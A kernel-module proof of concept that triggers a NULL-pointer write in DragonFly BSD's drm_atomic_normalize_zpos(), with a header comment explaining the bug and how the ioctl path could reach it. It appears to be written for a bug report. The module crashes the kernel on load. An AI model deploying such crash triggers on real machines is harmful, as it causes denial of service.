/*
 * DF-4786 PoC — NULL-pointer write in drm_atomic_normalize_zpos()
 *              sys/dev/drm/drm_blend.c:502-503
 *
 * Bug: drm_atomic_normalize_zpos() iterates the planes of an atomic
 * transaction; when a plane's zpos changed and the plane is bound to a
 * CRTC, it does:
 *
 *      new_crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
 *      new_crtc_state->zpos_changed = true;
 *
 * drm_atomic_get_new_crtc_state() (drm_atomic.h:441-447) returns NULL
 * "if the crtc is not part of the global atomic state". A plane-only
 * atomic transaction that only changes the mutable "zpos" property of an
 * already-bound plane produces exactly that state shape
 * (drm_atomic_check_only() does not materialize CRTC states for planes,
 * drm_atomic.c:961-1006), so the second line writes to NULL+offset.
 *
 * This module reproduces the kernel-side deref by calling the real,
 * in-tree drm_atomic_normalize_zpos() (exported by drm.ko) with the exact
 * state shape the ioctl path builds:
 *
 *   - 1 plane in state->planes[0], old zpos 0, new zpos 1,
 *     new_plane_state->crtc = fake crtc (index 0)
 *   - state->crtcs[0].new_state == NULL  (CRTC not in transaction)
 *
 * Expected: instant kernel panic, "Fatal trap 12: page fault while in
 * kernel mode", faulting rip inside drm_atomic_normalize_zpos, fault
 * virtual address = small constant (offset of zpos_changed in
 * drm_crtc_state).
 *
 * In-tree reachability note: the write is reachable from the unprivileged
 * (DRM-master) ioctl path DRM_IOCTL_MODE_OBJ_SETPROPERTY /
 * DRM_IOCTL_MODE_ATOMIC (drm_atomic_helper.c:916-920) for any driver that
 * sets dev->mode_config.normalize_zpos and exposes a mutable zpos
 * property.  No in-tree DF driver currently sets normalize_zpos, so the
 * module substitutes for that driver half; the kernel half exercised
 * here is the stock, unmodified drm.ko.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>

#include <drm/drmP.h>
#include <drm/drm_atomic.h>
/* drm_atomic_normalize_zpos() prototype comes from <drm/drm_blend.h>
 * (pulled in by drmP.h) and the symbol itself from the stock drm.ko. */

static int
zposnull_modevent(module_t mod, int type, void *data)
{
	struct drm_device *dev;
	struct drm_atomic_state *state;
	struct drm_plane *plane;
	struct drm_plane_state *ps_old, *ps_new;
	struct drm_crtc *crtc;

	switch (type) {
	case MOD_LOAD:
		dev     = kmalloc(sizeof(*dev),     M_TEMP, M_WAITOK | M_ZERO);
		state   = kmalloc(sizeof(*state),   M_TEMP, M_WAITOK | M_ZERO);
		plane   = kmalloc(sizeof(*plane),   M_TEMP, M_WAITOK | M_ZERO);
		ps_old  = kmalloc(sizeof(*ps_old),  M_TEMP, M_WAITOK | M_ZERO);
		ps_new  = kmalloc(sizeof(*ps_new),  M_TEMP, M_WAITOK | M_ZERO);
		crtc    = kmalloc(sizeof(*crtc),    M_TEMP, M_WAITOK | M_ZERO);
		if (dev == NULL || state == NULL || plane == NULL ||
		    ps_old == NULL || ps_new == NULL || crtc == NULL) {
			kprintf("zposnull: alloc failed\n");
			return ENOMEM;
		}
		state->planes = kmalloc(sizeof(*state->planes), M_TEMP,
					M_WAITOK | M_ZERO);
		state->crtcs = kmalloc(sizeof(*state->crtcs), M_TEMP,
				       M_WAITOK | M_ZERO);
		if (state->planes == NULL || state->crtcs == NULL) {
			kprintf("zposnull: array alloc failed\n");
			return ENOMEM;
		}

		/* drm_device: as the ioctl path would see it for 1 plane/1 crtc */
		dev->mode_config.num_total_plane = 1;
		dev->mode_config.num_crtc = 1;
		state->dev = dev;

		/* crtc->index == 0  =>  drm_crtc_index(crtc) == 0 */
		crtc->index = 0;

		/*
		 * Plane transaction: plane already bound to the crtc (crtc
		 * unchanged => CRTC_ID property not in the transaction =>
		 * no crtc state materialized), zpos changed 0 -> 1.
		 */
		ps_old->plane = plane;
		ps_old->zpos  = 0;
		ps_new->plane = plane;
		ps_new->crtc  = crtc;
		ps_new->zpos  = 1;

		state->planes[0].ptr       = plane;
		state->planes[0].old_state = ps_old;
		state->planes[0].new_state = ps_new;
		/* state->crtcs[0].* stay NULL: crtc not part of the state */

		kprintf("zposnull: calling stock drm_atomic_normalize_zpos "
			"(expect NULL-deref panic)\n");
		drm_atomic_normalize_zpos(dev, state);
		kprintf("zposnull: SURVIVED drm_atomic_normalize_zpos\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t zposnull_mod = {
	"zposnull",
	zposnull_modevent,
	NULL
};

DECLARE_MODULE(zposnull, zposnull_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(zposnull, drm, 1, 1, 1);
MODULE_VERSION(zposnull, 1);
